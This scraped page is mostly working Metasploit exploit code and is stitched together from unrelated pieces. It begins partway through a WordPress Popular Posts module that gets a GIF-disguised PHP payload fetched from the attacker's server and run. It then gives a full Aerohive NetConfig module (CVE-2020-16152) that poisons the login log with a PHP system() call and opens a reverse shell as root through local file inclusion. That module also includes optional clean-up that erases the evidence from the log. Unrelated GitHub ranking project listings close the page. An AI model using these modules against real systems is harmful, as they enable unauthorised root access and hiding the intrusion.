"#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Responding to GET request (passed check 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions Rex.sleep(2) # wait for WP to finish all the checks it needs trigger_payload(on_disk_payload_name) end print_status("Received unexpected #{request.method} request") end def check_gd_installed(cookie) vprint_status('Checking if gd is installed') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Retrieving wpp_admin token') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('Updating popular posts settings for images') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body end def clear_cache(cookie, token) vprint_status('Clearing image cache') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'action' => 'wpp_clear_thumbnail', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 end def enable_custom_fields(cookie, custom_nonce, post) # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it. res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'), 'cookie' => cookie, 'keep_cookies' => 'true', 'method' => 'POST', 'vars_post' => { 'toggle-custom-fields-nonce' => custom_nonce, '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit", 'action' => 'toggle-custom-fields' } ) /name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('Creating new post') # get post ID and nonces res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("Created Post: #{post_id}") end fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id # publish new post vprint_status("Writing content to Post: #{post_id}") # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("Adding malicious metadata for redirect to #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # redirect as needed res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301 print_status("Sending #{post_count} views to #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after> (1..post_count).each do |_c| res = send_request_cgi!( 'uri' => "/#{location}", 'cookie' => cookie, 'keep_cookies' => 'true' ) # just send away, who cares about the response fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res = send_request_cgi( # this URL varies from the POC on EDB, and is modeled after what the browser does 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts') }, 'keep_cookies' => 'true', 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { '_wpnonce' => wp_nonce, 'wpp_id' => post_id, 'sampling' => 0, 'sampling_rate' => 100 } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201 end fail_with(Failure::Unreachable, 'Site not responding') unless res end def get_top_posts print_status('Determining post with most views') res = get_widget />(?<views>\d+) views</ =~ res.body views = views.to_i print_status("Top Views: #{views}") views += 5 # make us the top post unless datastore['VISTS'].nil? print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}") views = datastore['VISITS'] end views end def get_widget # load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond # which then would kill the exploit, so in this case we just keep trying. (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body # load the widget directly (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('Invalid login, check credentials') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("Payload file name: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie) post_count = get_top_posts # we dont need to pass the cookie anymore since its now saved into http client token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('Starting web server to handle request for image payload') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('Waiting 90sec for cache refresh by server') Rex.sleep(90) print_status('Attempting to force loading of shell by visiting to homepage and loading the widget') res = get_widget print_good('We made it to the top!') if res.body.include? payload_name # if res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.") # end # at this point, we rely on our web server getting requests to make the rest happen endend### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE', 'Description' => %q{ This module exploits LFI and log poisoning vulnerabilities (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a build-242466 and older in order to achieve unauthenticated remote code execution as the root user. NetConfig is the Aerohive/Extreme Networks HiveOS administrative webinterface. Vulnerable versions allow for LFI because they rely on a version of PHP 5 that is vulnerable to string truncation attacks. This module leverages this issue in conjunction with log poisoning to gain RCE as root. Upon successful exploitation, the Aerohive NetConfig application will hang for as long as the spawned shell remains open. Closing the session should render the app responsive again. The module provides an automatic cleanup option to clean the log. However, this option is disabled by default because any modifications to the /tmp/messages log, even via sed, may render the target (temporarily) unexploitable. This state can last over an hour. This module has been successfully tested against Aerohive NetConfig versions 8.2r4 and 10.0r7a. }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik de Jong', # github.com/eriknl - discovery and PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-16152'], # still categorized as RESERVED ['URL', 'https://github.com/eriknl/CVE-2020-16152'] # analysis and PoC code ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Platform' => %w[linux unix], 'Arch' => [ ARCH_ARMLE, ARCH_CMD ], 'Targets' => [ [ 'Linux', { 'Arch' => [ARCH_ARMLE], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' } } ], [ 'CMD', { 'Arch' => [ARCH_CMD], 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' # this may be the only payload that works for this target' } } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-02-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGETURI', [true, 'The base path to Aerohive NetConfig', '/']), OptBool.new('AUTO_CLEAN_LOG', [true, 'Automatically clean the /tmp/messages log upon spawning a shell. WARNING! This may render the target unexploitable', false]), ] end def auto_clean_log datastore['AUTO_CLEAN_LOG'] end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php5') }) unless res return CheckCode::Unknown('Connection failed.') end unless res.code == 200 && res.body.include?('Aerohive NetConfig UI') return CheckCode::Safe('Target is not an Aerohive NetConfig application.') end version = res.body.scan(/action="login\.php5\?version=(.*?)"/)&.flatten&.first unless version return CheckCode::Detected('Could not determine Aerohive NetConfig version.') end begin if Rex::Version.new(version) <= Rex::Version.new('10.0r8a') return CheckCode::Appears("The target is Aerohive NetConfig version #{version}") else print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.') return CheckCode::Safe("The target is Aerohive NetConfig version #{version}") end rescue StandardError => e return CheckCode::Unknown("Failed to obtain a valid Aerohive NetConfig version: #{e}") end end def poison_log password = rand_text_alphanumeric(8..12) @shell_cmd_name = rand_text_alphanumeric(3..6) @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>" # Poison /tmp/messages print_status('Attempting to poison the log at /tmp/messages...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php5'), 'vars_post' => { 'login_auth' => 0, 'miniHiveUI' => 1, 'authselect' => 'Name/Password', 'userName' => @poison_cmd, 'password' => password } }) unless res fail_with(Failure::Disconnected, 'Connection failed while trying to poison the log at /tmp/messages') end unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==') fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to poison the log at /tmp/messages') end print_status('Server responded as expected. Continuing...') end def on_new_session(session) log_cleaned = false if auto_clean_log print_status('Attempting to clean the log file at /tmp/messages...') print_warning('Please note this will render the target (temporarily) unexploitable. This state can last over an hour.') begin # We need remove the line containing the PHP system call from /tmp/messages # The special chars in the PHP syscall make it nearly impossible to use sed to replace the PHP syscall with a regular username. # Instead, let's avoid special chars by stringing together some grep commands to make sure we have the right line and then removing that entire line # The impact of using sed to edit the file on the fly and using grep to create a new file and overwrite /tmp/messages with it, is the same: # In both cases the app will likely stop writing to /tmp/messages for quite a while (could be over an hour), rendering the target unexploitable during that period. line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}" clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}" cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "\ "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute('/bin/sh', "-c \"#{cmds_to_clean_log}\"") # Wait for cleanup Rex.sleep 5 # Check for the PHP system call in /tmp/messages messages_contents = session.fs.file.open('/tmp/messages').read.to_s # using =~ here produced unexpected results, so include? is used instead unless messages_contents.include?(@poison_cmd) log_cleaned = true end elsif session.type.to_s.eql?('shell') session.shell_command_token(cmds_to_clean_log.to_s) # Check for the PHP system call in /tmp/messages poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'") # using =~ here produced unexpected results, so include? is used instead unless poison_evidence.include?(@poison_cmd) log_cleaned = true end end rescue StandardError => e print_error("Error during cleanup: #{e.message}") ensure super end unless log_cleaned print_warning("Could not replace the PHP system call '#{@poison_cmd}' in /tmp/messages") end end if log_cleaned print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.') else print_warning("Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:\n\t#{@poison_cmd}") print_warning('Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.') print_warning('Deleting /tmp/messages or clearing out the file may break the application.') end end def execute_command(cmd, _opts = {}) print_status('Attempting to execute the payload') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'action.php5'), 'vars_get' => { '_action' => 'list', 'debug' => 'true' }, 'vars_post' => { '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # Trigger LFI through path truncation @shell_cmd_name => cmd } }, 0) print_warning('In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.') end def exploit poison_log if target.arch.first == ARCH_CMD print_status('Executing the payload') execute_command(payload.encoded) else execute_cmdstager(background: true) end endend
BitTigerInst / Github Ranking Crawler【太阁极客榜 Crawler】Realtime ranking board for BitTiger Github members.
DetegiCE / Github Readme ScoreSaberMay I show your ScoreSaber rank to GitHub readme?
xiv3r / Top Github Users RankingDaily github global users ranking
OlexG / Github RankedWebsite and API to easily showcase the most impressive contributions of a Github user.
hunghg255 / Github RankGithub rank user Vietnam
ciembor / Github RankRank of the local GitHub users and repositories based on sum of stargazers.